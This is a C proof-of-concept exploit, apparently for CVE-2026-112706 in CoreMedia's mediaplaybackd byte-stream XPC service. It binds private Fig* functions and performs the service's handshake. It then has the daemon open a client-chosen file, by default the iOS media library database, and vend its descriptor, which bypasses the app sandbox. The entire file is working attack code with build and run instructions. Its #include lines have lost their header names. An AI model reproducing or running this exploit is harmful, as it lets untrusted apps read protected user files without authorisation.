// cm.fdleak · CoreMedia mediaplaybackd bytestream XPC · Curl fd vend · CVE-2026-112706 // File descriptor leak from the byte-stream daemon // C twin of the Swift POC: full FigXPC client — dlsym the Fig* symbols from CoreMedia, // connect to com.apple.coremedia.mediaplaybackd.bytestream.xpc, run the // .rp1/.rp2/.org handshake, then drive the Curl existence oracle and an fd vend. // Build: clang -O2 -fblocks -o cve-2026-112706 CVE-2026-112706.c -framework CoreFoundation // Run: ./cve-2026-112706 [path] #include #include #include #include #include #include #include #include #include #include #include // ── Fig bindings (dlsym from CoreMedia, mirror of FdLeak.bind) ── typedef int32_t (*fig_basic_message_fn)(uint32_t, uint64_t, void **); typedef int32_t (*fig_origin_begin_fn)(void *); typedef int32_t (*fig_origin_complete_fn)(xpc_object_t, xpc_object_t *); typedef int32_t (*fig_recipient_fn)(xpc_object_t, void *, const char *, xpc_object_t *); typedef int32_t (*fig_set_cfurl_fn)(void *, const char *, CFURLRef); static fig_basic_message_fn fig_basic_message; static fig_origin_begin_fn fig_origin_begin; static fig_origin_complete_fn fig_origin_complete; static fig_recipient_fn fig_recipient; static fig_set_cfurl_fn fig_set_cfurl; // ── error code map (mirror of FdLeak.describeError) ── static const char *describe_error(int64_t code) { if (code == -12203) return "exists but access denied (-12203)"; if (code == -17913) return "no such file (-17913)"; if (code == -16158) return "opcode sealed (-16158)"; if (code == -12878) return "write denied (-12878)"; return "error code"; } // ── reply plumbing (mirror of FdLeak.send: 6 s timeout, dictionary/error retained) ── typedef struct { dispatch_semaphore_t sem; xpc_object_t reply; // retained by the handler char type_name[24]; } send_ctx; static const double reply_timeout = 6.0; static void classify(xpc_object_t obj, char *out, size_t n) { xpc_type_t t = xpc_get_type(obj); if (t == XPC_TYPE_DICTIONARY) snprintf(out, n, "dictionary"); else if (t == XPC_TYPE_ERROR) snprintf(out, n, "error"); else if (t == XPC_TYPE_ARRAY) snprintf(out, n, "array"); else if (t == XPC_TYPE_STRING) snprintf(out, n, "string"); else if (t == XPC_TYPE_INT64) snprintf(out, n, "int64"); else snprintf(out, n, "other"); } // returns 0 on reply, -1 on timeout; box->type_name carries the reply class static int send_and_wait(xpc_connection_t conn, xpc_object_t message, send_ctx *box) { memset(box, 0, sizeof *box); dispatch_semaphore_t sem = dispatch_semaphore_create(0); // heap context: blocks cannot capture C arrays as __block, and on timeout the // handler may fire after this frame is gone — that context is then orphaned // (a few dozen bytes per silent service, bounded by the number of sends) send_ctx *ctx = calloc(1, sizeof *ctx); ctx->sem = sem; xpc_connection_send_message_with_reply(conn, message, NULL, ^(xpc_object_t reply) { if (reply) { classify(reply, ctx->type_name, sizeof ctx->type_name); if (strcmp(ctx->type_name, "dictionary") == 0 || strcmp(ctx->type_name, "error") == 0) { ctx->reply = xpc_retain(reply); } } else { snprintf(ctx->type_name, sizeof ctx->type_name, "nil"); } dispatch_semaphore_signal(sem); }); dispatch_time_t deadline = dispatch_time(DISPATCH_TIME_NOW, (int64_t)(reply_timeout * NSEC_PER_SEC)); if (dispatch_semaphore_wait(sem, deadline) != 0) { snprintf(box->type_name, sizeof box->type_name, "timeout"); return -1; } box->reply = ctx->reply; snprintf(box->type_name, sizeof box->type_name, "%s", ctx->type_name); free(ctx); return 0; } // ── trigger ── int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "/private/var/mobile/Media/iTunes_Control/iTunes/MediaLibrary.sqlitedb"; const char *service = "com.apple.coremedia.mediaplaybackd.bytestream.xpc"; // bind void *cm = dlopen("/System/Library/Frameworks/CoreMedia.framework/CoreMedia", RTLD_NOW); if (!cm) { printf("dlopen CoreMedia failed: %s\n", dlerror()); return 1; } fig_basic_message = (fig_basic_message_fn)dlsym(cm, "FigXPCCreateBasicMessage"); fig_origin_begin = (fig_origin_begin_fn)dlsym(cm, "FigMemoryOriginBeginEstablishingMemoryRecipientByFillingInXPCMessage1"); fig_origin_complete = (fig_origin_complete_fn)dlsym(cm, "FigMemoryOriginCompleteEstablishingMemoryRecipientUsingXPCMessage2"); fig_recipient = (fig_recipient_fn)dlsym(cm, "FigMemoryRecipientCreateWithXPCMessage1AndUpdateXPCMessage2"); fig_set_cfurl = (fig_set_cfurl_fn)dlsym(cm, "FigXPCMessageSetCFURL"); if (!fig_basic_message || !fig_origin_begin || !fig_origin_complete || !fig_set_cfurl) { printf("Fig symbols missing from CoreMedia\n"); return 1; } // connection (lazy: creation succeeds even with no listener) xpc_connection_t conn = xpc_connection_create_mach_service(service, NULL, 0); if (!conn) { printf("xpc_connection_create_mach_service failed\n"); return 1; } printf("connection object created for %s\n", service); xpc_connection_set_event_handler(conn, ^(xpc_object_t o) { }); xpc_connection_resume(conn); // ---- handshake: .rp1 → .rp2(recipient) → .org(begin/complete) char reply_types[8][24]; int ntypes = 0; int established = 0; send_ctx r1 = {0}; void *m1 = NULL; if (fig_basic_message(0x2E727031, 0, &m1) == 0 && m1) { send_and_wait(conn, (xpc_object_t)m1, &r1); snprintf(reply_types[ntypes++], 24, "%s", r1.type_name); printf("'.rp1' → %s\n", r1.type_name); if (r1.reply && strcmp(r1.type_name, "dictionary") == 0) { send_ctx r2 = {0}; void *m2 = NULL; if (fig_basic_message(0x2E727032, 0, &m2) == 0 && m2) { xpc_object_t recipient = NULL; int cr = fig_recipient ? fig_recipient(r1.reply, m2, "cinder27", &recipient) : -1; send_and_wait(conn, (xpc_object_t)m2, &r2); snprintf(reply_types[ntypes++], 24, "%s", r2.type_name); printf("'.rp2' recip=%d → %s\n", cr, r2.type_name); if (r2.reply) xpc_release(r2.reply); xpc_release((xpc_object_t)m2); } } if (r1.reply) xpc_release(r1.reply); xpc_release((xpc_object_t)m1); } send_ctx r3 = {0}; void *om = NULL; if (fig_basic_message(0x2E6F7267, 0, &om) == 0 && om) { int bg = fig_origin_begin(om); send_and_wait(conn, (xpc_object_t)om, &r3); snprintf(reply_types[ntypes++], 24, "%s", r3.type_name); printf("'.org' begin=%d → %s\n", bg, r3.type_name); if (r3.reply) { // an XPC error object carries its description under this key const char *ed = xpc_dictionary_get_string(r3.reply, XPC_ERROR_KEY_DESCRIPTION); if (ed) printf(" error: %s\n", ed); if (strcmp(r3.type_name, "dictionary") == 0) { xpc_object_t origin = NULL; int cp = fig_origin_complete(r3.reply, &origin); established = (cp == 0); printf("'.org' complete=%d origin=%s\n", cp, origin ? "yes" : "no"); } xpc_release(r3.reply); } xpc_release((xpc_object_t)om); } printf("handshake established: %s\n", established ? "yes" : "no"); if (!established) { // a silent service (nothing listening) is different from one that answers and refuses int answered = 0, silent = 1; for (int i = 0; i < ntypes; i++) { if (strcmp(reply_types[i], "dictionary") == 0) answered = 1; if (strcmp(reply_types[i], "timeout") != 0 && strcmp(reply_types[i], "nil") != 0) silent = 0; } printf("reply types: "); for (int i = 0; i < ntypes; i++) printf("%s%s", i ? ", " : "", reply_types[i]); printf("\n"); if (silent) { printf("silent service — nothing is listening on this platform\n"); printf("CVE-2026-112706 · mediaplaybackd bytestream XPC absent here (iOS-only surface)\n"); } else { printf("service answered (%s) but the handshake was refused\n", answered ? "dictionary" : "non-dictionary"); printf("CVE-2026-112706 · daemon present, handshake gate closed\n"); } return 0; } // ---- existence oracle + vend (runs only on a platform where the daemon answers) CFURLRef url = CFURLCreateWithFileSystemPath(NULL, CFStringCreateWithCString(NULL, path, kCFStringEncodingUTF8), kCFURLPOSIXPathStyle, false); // control: the process's own open() must fail — the daemon vends what the app cannot int own = open(path, O_RDONLY); printf("own open() = %d errno=%d (%s)\n", own, errno, own >= 0 ? "ALLOWED — no sandbox here" : strerror(errno)); if (own >= 0) close(own); void *m = NULL; if (fig_basic_message(0x4375726C, 0, &m) == 0 && m) { fig_set_cfurl(m, "CreationURL", url); xpc_dictionary_set_uint64((xpc_object_t)m, "FileOpenOptions", 0); send_ctx rv = {0}; send_and_wait(conn, (xpc_object_t)m, &rv); printf("'Curl' → %s\n", rv.type_name); if (rv.reply && strcmp(rv.type_name, "dictionary") == 0) { xpc_object_t details = xpc_dictionary_get_value(rv.reply, "ByteStreamDetails"); if (details) { uint64_t object_id = xpc_dictionary_get_uint64(details, "ObjectID"); uint64_t entire = xpc_dictionary_get_uint64(details, "EntireLength"); uint64_t server_pid = xpc_dictionary_get_uint64(details, "ServerPID"); int fd = xpc_dictionary_dup_fd(details, "FileDescriptor"); printf("vend: ObjectID=%llu EntireLength=%llu ServerPID=%llu fd=%d\n", (unsigned long long)object_id, (unsigned long long)entire, (unsigned long long)server_pid, fd); if (fd >= 0) { struct stat st; if (fstat(fd, &st) == 0) { printf("fd mode=%o uid=%u size=%lld\n", st.st_mode, st.st_uid, (long long)st.st_size); } char head[16] = {0}; ssize_t got = pread(fd, head, sizeof head, 0); if (got > 0) { printf("head:"); for (int i = 0; i < got; i++) printf(" %02x", (unsigned char)head[i]); printf("\n"); } close(fd); } } else { int64_t ec = xpc_dictionary_get_int64(rv.reply, ".ErrorReturn"); printf("%s (%lld) %s\n", describe_error(ec), (long long)ec, path); } xpc_release(rv.reply); } xpc_release((xpc_object_t)m); } CFRelease(url); printf("CVE-2026-112706 · daemon opened a client-chosen path with its own credentials\n"); return 0; }